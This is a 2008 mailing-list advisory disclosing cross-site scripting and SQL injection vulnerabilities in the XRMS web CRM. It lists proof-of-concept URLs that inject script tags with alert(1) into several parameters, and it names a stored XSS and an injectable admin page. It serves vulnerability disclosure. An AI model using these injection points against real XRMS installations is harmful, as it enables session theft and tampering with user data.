Date: Thu, 4 Sep 2008 02:04:48 +0200
From: Fabian Fingerle <fabian@datensalat.eu.>
To: [email protected], [email protected]Subject: Multiple Cross Site Scripting (XSS) and SQL injection
Vulnerabilities in XRMS, CVE-2008-3664
Message-ID: <20080904020448.481c122b@mobile.fabian.datensalat.eu.>
X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; x86_64-pc-linux-gnu)
Mime-Version: 1.0
Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg=PGP-SHA1; boundary="=_zucker.schokokeks.org-20690-1220486693-0001-2"
X-Virus-Scanned: antivirus-gw at tyumen.ru
This is a MIME-formatted message. If you see this text it means that your
E-mail software does not support MIME-formatted messages.
--=_zucker.schokokeks.org-20690-1220486693-0001-2
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: quoted-printable
Multiple Cross Site Scripting (XSS) and SQL injection Vulnerabilities
in XRMS, CVE-2008-3664=20
References
http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-3664
http://nvd.nist.gov/nvd.cfm?cvename=3DCVE-2008-3664
http://xrms.sourceforge.net
Description
XRMS is a web-based application for managing business entities such as
employees, customers, contacts, activities with those contacts, etc.
The application is vulnerable to simple Cross Site Scripting, which can
be used for several isues=20
Example
Assuming XRMS is installed on http://localhost/xrms/, anybody could
inject JavaScript with:
http://localhost/xrms/login.php?target=3D"><script>alert(1);</script>
http://localhost/xrms/activities/some.php?title=3D"><script>alert(1);</scri=
pt>
http://localhost/xrms/companies/some.php?company_name=3D"><script>alert(1);=
</script>
http://localhost/xrms/contacts/some.php?last_name=3D"><script>alert(1);</sc=
ript>
http://localhost/xrms/campaigns/some.php?campaign_title=3D"><script>alert(1=
);</script>
http://localhost/xrms/opportunities/some.php?opportunity_title=3D"><script>=
alert(1);</script>
http://localhost/xrms/cases/some.php?case_title=3D"><script>alert(1);</scri=
pt>
http://localhost/xrms/files/some.php?file_id=3D"><script>alert(1);</script>
http://localhost/xrms/reports/custom/mileage.php?starting=3D"><script>alert=
(1);</script>
...
A user could change their real name to <script>alert(1)</script>; will
be executed when the administrator looks at user list
A user could edit name/email of any user using SQL injection
vulnerbility in admin/users/self-2.php
Disclosure Timeline
2008-08-07 Vendor contacted
2008-09-04 Advisory published
CVE Information
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2008-XXXX to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.=20
Credits and copyright
This vulnerability was discovered by Fabian Fingerle (published with
help from Hanno Boeck).=20
This vulnerability relate to CVE-2008-1129
It's licensed under the creative commons attribution license.
Fabian Fingerle, 2008-09-04, http://www.fabian-fingerle.de
--=20
_GPG_ 3D17 CAC8 1955 1908 65ED 5C51 FDA3 6A09 AB41 AB85
_chaos events near stuttgart_ www.datensalat.eu
--=_zucker.schokokeks.org-20690-1220486693-0001-2
Content-Type: application/pgp-signature; name="signature.asc"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=signature.asc
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.9 (GNU/Linux)
iEYEARECAAYFAki/JiQACgkQ/aNqCatBq4VYIwCcDgXe/yqDtZg+Y4oW4bvYw1xx
Bf0AnRMY7iHa1tSo3EYUdw7eOmolWrSb
=R12c
-----END PGP SIGNATURE-----
--=_zucker.schokokeks.org-20690-1220486693-0001-2--
